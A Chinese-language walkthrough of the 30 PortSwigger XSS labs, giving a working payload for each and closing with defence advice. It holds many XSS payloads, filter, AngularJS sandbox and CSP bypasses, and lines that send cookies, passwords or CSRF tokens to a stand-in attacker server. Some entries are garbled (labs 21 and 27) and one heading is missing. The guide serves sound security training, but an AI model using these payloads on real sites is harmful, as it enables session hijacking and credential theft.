# PortSwigger XSS 靶场完全攻略(30 个实验全解析)

# 前言

跨站脚本攻击(Cross-Site Scripting,XSS)是 Web 安全中最常见的漏洞类型之一。PortSwigger 提供的 XSS 靶场包含 30 个精心设计的实验,涵盖了从反射型、存储型到 DOM 型等各种 XSS 攻击技术。本文将详细解析每个实验的原理、攻击步骤和技术要点,帮助读者全面掌握 XSS 漏洞利用与防御技术。

# 实验环境准备

在开始之前,请确保:

  • 拥有 PortSwigger Academy 账号
  • 熟练使用 BurpSuite 进行抓包和改包
  • 了解基本的 HTML、JavaScript 语法
  • 理解浏览器同源策略和 XSS 攻击原理

# 实战演练

# 一、入门级(Apprentice):基础注入与编码绕过

# 1. 实验标题:Reflected XSS into HTML context with nothing encoded

核心考点:无任何过滤 / 编码的反射型 XSS,HTML 上下文直接注入
解题关键:直接构造基础脚本标签注入 search 参数,如 <script>alert(1)</script> ,输入后页面直接执行。

# 2. 实验标题:Stored XSS into HTML context with nothing encoded

核心考点:无过滤的存储型 XSS,恶意脚本永久存储在服务器
解题关键:在评论、个人资料等存储型输入点提交 <script>alert(1)</script> ,后续所有访问该页面的用户都会触发脚本执行。

# 3. 实验标题:DOM XSS in document.write sink using source location.search

核心考点:DOM 型 XSS,document.write 为危险 sink,location.search 为输入源
解题关键:构造 URL 参数 ?x=</script><script>alert(1)</script> ,document.write 将参数内容直接写入页面,闭合原有标签后执行新脚本。

# 4. 实验标题:DOM XSS in innerHTML sink using source location.search

核心考点:innerHTML sink 的 DOM XSS,不执行 <script> 标签但支持事件处理器
解题关键:注入含事件触发的标签,如 ?x=<img src=x onerror=alert(1)> ,innerHTML 插入后触发 onerror 事件。

# 5. 实验标题:DOM XSS in jQuery anchor href attribute sink using location.search source

核心考点:jQuery 动态设置 href 属性,支持 javascript: 伪协议
解题关键:构造参数 ?x=javascript:alert(1) ,页面 jQuery 将参数赋值给 <a> 标签的 href,点击链接触发执行。

# 6. 实验标题:DOM XSS in jQuery selector sink using a hashchange event

核心考点:hashchange 事件触发 jQuery 选择器操作,输入源为 location.hash
解题关键:构造 URL 锚点 #<img src=x onerror=alert(1)> ,hashchange 事件触发时,jQuery 解析锚点内容为选择器,间接执行事件处理器。

# 7. 实验标题:Reflected XSS into attribute with angle brackets HTML-encoded

核心考点:HTML 属性上下文注入,尖括号被编码但引号未过滤
解题关键:闭合原有属性并添加事件处理器,如 ?x=" onclick=alert(1) x= ,注入后 HTML 结构变为 <input value="" onclick=alert(1) x=> ,点击元素触发。

# 8. 实验标题:Stored XSS into anchor href attribute with double quotes HTML-encoded

核心考点:存储型 XSS 注入 href 属性,双引号被编码但可通过其他方式绕过
解题关键:提交 javascript:alert(1) ,存储后 <a> 标签的 href 属性值为该内容,点击链接触发 javascript 伪协议执行。

# 9. 实验标题:Reflected XSS into a JavaScript string with angle brackets HTML encoded

核心考点:JS 字符串上下文注入,尖括号被编码但引号未过滤
解题关键:闭合 JS 字符串并注入脚本,如 ?x=';alert(1);// ,注入后 JS 代码变为 var x='';alert(1);//'; ,分号结束字符串后执行 alert,// 注释后续内容。

# 二、进阶级(Practitioner):场景化绕过与功能联动

# 10. 实验标题:DOM XSS in document.write sink using source location.search inside a select element

核心考点:select 元素内的 document.write 注入,需先闭合容器标签
解题关键:构造参数 ?x=</select><script>alert(1)</script> ,闭合 <select> 标签后,新脚本标签正常解析执行。

# 11. 实验标题:DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

核心考点:AngularJS 表达式注入,尖括号和双引号被编码但表达式可执行
解题关键:注入 Angular 表达式 {{alert(1)}} ,页面 Angular 框架解析表达式时执行 alert,绕开 HTML 编码限制。

# 12. 实验标题:Reflected DOM XSS

核心考点:反射型 DOM XSS,输入通过 JS 处理后间接注入页面
解题关键:分析页面 JS 逻辑,构造输入触发 DOM 操作漏洞,如 ?x=<img src=x onerror=alert(1)> ,JS 处理后将输入插入 innerHTML 触发事件。

# 13. 实验标题:Stored DOM XSS

核心考点:存储型 DOM XSS,恶意输入存储后通过页面 JS 解析触发
解题关键:在存储点提交 <img src=x onerror=alert(1)> ,页面加载时 JS 读取存储内容并通过 innerHTML 插入,触发 onerror 事件。

# 14. 实验标题:Reflected XSS into HTML context with most tags and attributes blocked

核心考点:标签 / 属性黑白名单过滤,仅允许部分安全标签
解题关键:使用未被拦截的标签 + 事件处理器,如 <a href=javascript:alert(1)>Click</a><svg onload=alert(1)> ,优先选择 SVG 等原生支持事件的标签。

# 15. 实验标题:Reflected XSS into HTML context with all tags blocked except custom ones

核心考点:仅允许自定义标签,拦截所有标准 HTML 标签
解题关键:创建自定义标签并添加事件处理器,如 <customtag onclick=alert(1)>Click me</customtag> ,浏览器会解析自定义标签的事件属性。

# 16. 实验标题:Reflected XSS with some SVG markup allowed

核心考点:SVG 标签白名单开放,利用 SVG 内部标签执行脚本
解题关键:构造 SVG 嵌套结构,如 <svg><script>alert(1)</script></svg><svg onload=alert(1)> ,利用 SVG 的加载 / 事件特性触发执行。

核心考点:注入到 <link rel="canonical" href="..."> 的 href 属性
解题关键:闭合 href 属性并注入脚本,如 ?x=""><script>alert(1)</script> ,注入后 HTML 结构变为 <link rel="canonical" href=""><script>alert(1)</script>

# 18. 实验标题:Reflected XSS into a JavaScript string with single quote and backslash escaped

核心考点:JS 字符串上下文,单引号和反斜杠被转义
解题关键:双写反斜杠绕过转义,如 ?x=\\';alert(1);// ,转义后变为 var x='\\';alert(1);//'; ,\ 解析为单个反斜杠,闭合字符串后执行 alert。

# 19. 实验标题:Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

核心考点:JS 字符串上下文,多重编码 / 转义防护
解题关键:利用 JS 语法特性绕过,如 ?x=');alert(1);// ,虽然单引号被转义,但可通过分号强制结束语句,// 注释后续内容。

# 20. 实验标题:Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

核心考点:存储型 XSS 注入 onclick 事件,多重字符转义
解题关键:使用未被转义的字符构造事件逻辑,如 x=alert(1) ,存储后 onclick 属性变为 onclick="handle('x=alert(1)')" ,触发事件时执行。

# 21. 实验标题:Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

核心考点:模板字符串()上下文,多重字符Unicode转义解题关键:注入模板表达式?x={})上下文,多重字符 Unicode 转义 **解题关键**:注入模板表达式`?x={alert (1)}`,页面模板解析时执行 ${} 内的 JS 代码,绕开字符转义限制。

# 22. 实验标题:Exploiting cross-site scripting to steal cookies

核心考点:XSS 联动数据窃取,利用外部服务器接收 Cookie
解题关键:注入脚本 ?x=<script>new Image().src='//your-server.com/steal?c='+document.cookie</script> ,受害者触发后 Cookie 发送至攻击者服务器。

# 23. 实验标题:Exploiting cross-site scripting to capture passwords

核心考点:XSS 注入伪装表单,捕获用户输入的密码
解题关键:注入伪装登录表单,如 <input type=password name=pass onchange="fetch('//your-server.com',{body:this.value})")" ,用户输入密码时触发 onchange 事件,发送密码至攻击者服务器。

# 24. 实验标题:Exploiting XSS to bypass CSRF defenses

核心考点:XSS 读取页面 CSRF 令牌,构造合法 CSRF 请求
解题关键:注入脚本读取页面隐藏的 CSRF 令牌(如 document.querySelector('input[name=csrf]').value ),再通过 fetch 发送带令牌的 POST 请求,绕过 CSRF 防护。

# 25. 实验标题:Reflected XSS protected by very strict CSP, with dangling markup attack

核心考点:严格 CSP 绕过,无脚本执行,利用悬垂标记窃取 CSRF 令牌
解题关键:注入未闭合的 <base target=' ,构造 URL ?email=""><a href="https://your-exploit-server.net">Click me</a><base target=' ,用户点击后浏览器自动拼接 CSRF 令牌至请求,攻击者从漏洞服务器获取令牌后构造改邮箱表单。

# 三、专家级(Expert):防御机制深度绕过

# 26. 实验标题:Reflected XSS with AngularJS sandbox escape without strings

核心考点:AngularJS 沙箱逃逸,无字符串构造限制
解题关键:利用 toString ()、fromCharCode 构造恶意代码,结合 orderBy 过滤器执行,如 ?search=toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,54,54,54,41)=1 ,绕开沙箱与无字符串限制。

# 27. 实验标题:Reflected XSS with AngularJS sandbox escape and CSP

核心考点:同时绕过 AngularJS 沙箱与 CSP
解题关键:利用 ng-focus 事件 +event.composedPath()获取window对象,orderBy解析间接调用alertPayload?search=<inputid=xngfocus=event.composedPath()获取window对象,orderBy解析间接调用alert,Payload:`?search=<input id=x ng-focus=event.composedPath ()|orderBy:'(z=alert)(document.cookie)'>#x`,#x 自动触发聚焦事件。

# 28. 实验标题:Reflected XSS with event handlers and href attributes blocked

核心考点:所有事件处理器和静态 href 被拦截,仅允许白名单标签
解题关键:利用 SVGanimate 动态修改 href,Payload: ?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E ,页面加载后 animate 自动为 <a> 添加 href,点击触发。

# 29. 实验标题:Reflected XSS in a JavaScript URL with some characters blocked

核心考点:JS URL 场景,空格等关键字符被拦截
解题关键:用箭头函数、onerror、/**/ 代替空格,window+'' 触发 toString 执行,Payload: ?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27 ,点击 “Back to blog” 触发执行。

# 30. 实验标题:Reflected XSS protected by CSP, with CSP bypass

核心考点:CSP 策略注入漏洞,通过 report-uri 参数篡改规则
解题关键:利用 report-uri 的 token 参数注入 CSP 指令,Payload: ?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27 ,注入的 script-src-elem 'unsafe-inline' 覆盖原有规则,允许内联脚本执行。

# XSS 漏洞利用特点总结

# 1. 攻击方式多样性

  • 反射型 XSS: 攻击负载通过 URL 参数传递,服务器反射回客户端执行
  • 存储型 XSS: 攻击负载存储在服务器,对所有访问页面的用户生效
  • DOM 型 XSS: 攻击完全在客户端执行,不涉及服务器处理

# 2. 绕过技术丰富

  • 标签过滤绕过:大小写混合、双写、字符插入
  • 事件处理器:利用 onload、onerror、onmouseover 等事件
  • CSP 绕过:寻找 CSP 配置中的漏洞和白名单滥用
  • 编码绕过: URL 编码、HTML 编码、JavaScript 编码

# 3. 危害范围广泛

  • 会话劫持:窃取用户 cookie 和会话令牌
  • 凭证盗窃:捕获用户输入的用户名密码
  • 数据窃取:提取页面敏感信息并发送到攻击者服务器
  • 客户端攻击:利用浏览器漏洞执行更高级的攻击
  • 钓鱼攻击:创建与原页面相似的欺骗性 UI

# 4. 防御策略挑战

  • 输入验证:需针对各种 XSS 向量进行全面过滤
  • 输出编码:根据上下文采用不同的编码策略
  • 内容安全策略:正确配置 CSP 以限制脚本执行
  • 现代框架安全:正确使用前端框架的安全特性
  • 持续更新:应对不断出现的新绕过技术

# 防御 XSS 攻击的最佳实践

  1. 输入验证与过滤:

    • 实施严格的输入验证
    • 过滤或转义特殊字符
  2. 输出编码:

    • 根据输出上下文进行适当编码
    • 使用安全的 API 如.textContent 而非.innerHTML
  3. 实施内容安全策略 (CSP):

    • 配置严格的 CSP 头
    • 禁用内联脚本和 eval
  4. 使用现代前端框架:

    • 利用框架内置的 XSS 防护
    • 避免使用危险的 API

# 结语

XSS 漏洞虽然常见,但通过本指南中的 30 个实验,我们可以全面了解 XSS 攻击的各种技术和防御方法。掌握这些知识不仅有助于进行有效的渗透测试,也能指导开发人员构建更安全的 Web 应用。记住,防御 XSS 需要多层次的安全策略,从输入验证到输出编码,再到内容安全策略,每一步都至关重要。